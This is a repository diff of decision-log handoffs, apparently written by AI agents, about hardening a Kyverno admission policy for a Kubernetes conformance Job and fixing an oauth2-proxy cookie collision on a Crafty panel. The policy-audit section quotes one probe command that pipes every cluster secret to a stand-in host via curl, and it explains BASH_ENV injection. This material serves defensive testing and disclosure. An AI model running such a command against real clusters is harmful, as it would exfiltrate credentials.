tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -1,379 +0,0 @@
---
date: 2026-09-29
branch: feat/conformance-job-template
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
---
## What changed
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
renderable run template. Along the way the admission policy that is supposed to bound that Job
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
more rules and moved the clone script out of the Job entirely.
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
> file under `decisions/`; the archive is untouched.
### The binding constraint, and how it was met
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
Secret volume and the init container could not have a scratch volume:
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
happened to be.
### Results out of the Job with no exec channel
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
digest appear in **both** markers and the collector owes five checks, each documented above the
function.
### THE FINDING: the admission boundary did not look at `initContainers`
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
already have carried one.
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
policy gained four rules in this branch:
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
must be on the digest-pinned `conformance-runner` image, `command:
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
note under "What I did NOT verify".
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
non-interactive script, and the runner's command IS a bash script. The init list iterates
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
one** element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
undone.
### The clone script left the Job — that is the actual fix
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
else.
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
1's version before deleting mine rather than assuming compatibility, and the interface my Job
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
than honouring it.
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
**independently and against an instruction to read those values from env** — an instruction the
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
trusting it just moves the injection" reasoning in one afternoon is the signal that the
field-enumeration gap was systemic, not a one-off.
### The committed `args` default was a shape that cannot run
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
filters to `/l0-static/|/l1-rendering/`:
| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered rather than missed.
## What I verified
### Admission, proven with the pinned CLI rather than assumed
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
##### the real rendered template MUST PASS
Applying 7 policy rule(s) to 1 resource(s)...
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact initContainer probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
compliant and `serviceAccountName: conformance-runner`:
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
- the committed template with **only** the init container's `args` swapped for
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
→ `pass: 3, fail: 0` — **ADMITTED**
Negative controls on the same rendered template, showing the original rules do bite where they
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`.
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
column, and it is why the fixtures are worth more than the rules' prose.
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why env had to be its own rule and not a condition bolted onto the init rule.
The rendered template is now a fixture (`real-template` in
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
admission fails `make -C ci l0` instead of failing at 2am.
### How strong that evidence is — the `kyverno test` load trap
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
`Test Summary: 9 tests passed and 0 tests failed`.
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
`error: 0, skip: 0` in the numbers above, not the exit code.
Two further limits on what a CLI pass proves:
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
`kyverno apply`.
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
admission in the cluster.
### Two Kyverno traps, both of which silently invert the result
Both are now commented in the rules:
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
`false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
`["/bin/sh","-c",…]` through on element 0.
### The results envelope
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
verified; its transport over `kubectl logs` from a real Pod is not.**
### Gate
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
`.git`, per CLAUDE.md §3):
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
spec-immutability: green
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
2 entries well-formed — this one included)
lint: green (404 files)
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
0 failures, 0 skips, 0 unwired)
render-golden: green (10 onboarded service goldens reproduce)
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
Stages that did not run: gitea-settings
rc 3
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
says nothing about Gitea's branch protection or runner registration, and the seven touched
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
eye — though that stage checks *structure*, never whether any claim inside it is true.
### The `approval-policy` check this PR was expected to fail does not exist
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
security-relevant. **That check does not exist.** Measured rather than assumed:
grep -rn approval .gitea/workflows/ -> no match
GET /repos/.../branches/main
protected True
user_can_push False
enable_status_check True
status_check_contexts ['gate / gate (pull_request)']
required_approvals 1
GET /repos/.../commits/<head>/statuses
success gate / gate (pull_request) Successful in 1m36s
pending gate / conformance (pull_request) Blocked by required conditions
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
approval policy in CI anywhere in this repo.** What actually stops this merging is
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
`paths:`-scoped required check would be the mechanism; neither exists today.
The PR was **not merged** and nothing was worked around.
### Process note, worth more than the policy fix
Both halves of the security finding came from **probing rather than reading**. The hole was not
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
policy is only as trustworthy as its negative fixtures.
## What I did NOT verify
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
all **unexercised**. The envelope itself is verified; its transport is not.
- **PR #18 must merge first.** The image digest and `/usr/local/bin/conformance-clone` both arrive
with it. If that path is missing or named differently, the init container fails to start; if it
is present but the image is not the pinned digest, admission denies the Job.
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
name is referenced here.
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
not been built. If the Containerfile picks a different uid, the Job will not start.
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
assertion turns that into a loud failure rather than a wrong-tree run.
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
the rule should stay either way.
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
trigger identity in a live admission request.
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
manifests. A policy that a CLI accepts can still behave differently once installed.
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
there is deliberately partial, not complete.
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
reviewed change. That is the intended failure direction, but it is a coupling the next person
editing either script needs to know about, so it is called out in the rule's message.
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
branch changes nothing about what CI does today.
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
runtime behaviour.
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
@@ -0,0 +1,123 @@
---
date: 2026-09-29
branch: fix/crafty-oauth2-proxy-signin
title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
---
## What changed
Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
own access log settles which layer refused, and it is not the one the report names:
GET / -> 302 to Keycloak
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy did its job
GET /oauth2/callback -> 302
GET /panel/dashboard -> 302
GET /login?next=/panel/dashboard -> 200 <- CRAFTY's own login page
POST /api/v2/auth/login/ -> 401 <- CRAFTY refused
**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
identity headers, so it presents its own local login to an already-authenticated user. That second
factor is intended. What was not intended — and what made the service genuinely impossible to set
up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
asserted the double login was "expected, not a bug" and then left the reader with no way forward —
the assertion was true and useless in the same sentence.
So this branch:
- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
actually resolves rather than the file merely existing.
- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
straight back, clobbering it again. **That mutual eviction presents exactly as the reported
symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
## What I verified
- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
oauth2-proxy admitted the user; Crafty rejected the local credential.
- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
`users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
created the "homelab" server. `default-creds.txt` is therefore live.
- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
`"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
`self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
`get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
(**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
the opposite into the README from the config value alone before measuring it — the config key
existing is not the same claim as the code path running.
- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
runs `main.py -d -i`. Recovery must go through the DB.
- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
cannot import it, so the obvious reset one-liner fails.
- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
`default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
`spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
## What I did NOT verify
- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
renders correctly, but nobody has signed in through it. The human test is in
`platform/crafty/README.md`.
- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
session's read-only probes). **Merging is what deploys, and it will restart the pod** —
`strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
the moment.
- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
`gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
credential. The runbook says to rotate on first sign-in; that is an operator action and is still
open.
- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
change with no observed failure to point at — the sidecar trace above shows a *working* session,
because that browser had not visited another gated app first. It is a latent-bug fix.
### Follow-ups
1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
sat unchanged and undocumented.
2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
two halves differently); the alternative is to accept the `platform-admins` gate as the only
throttle and say so.
3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
which is exactly the shape this repo keeps getting burned by.
+4 -42
View File
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
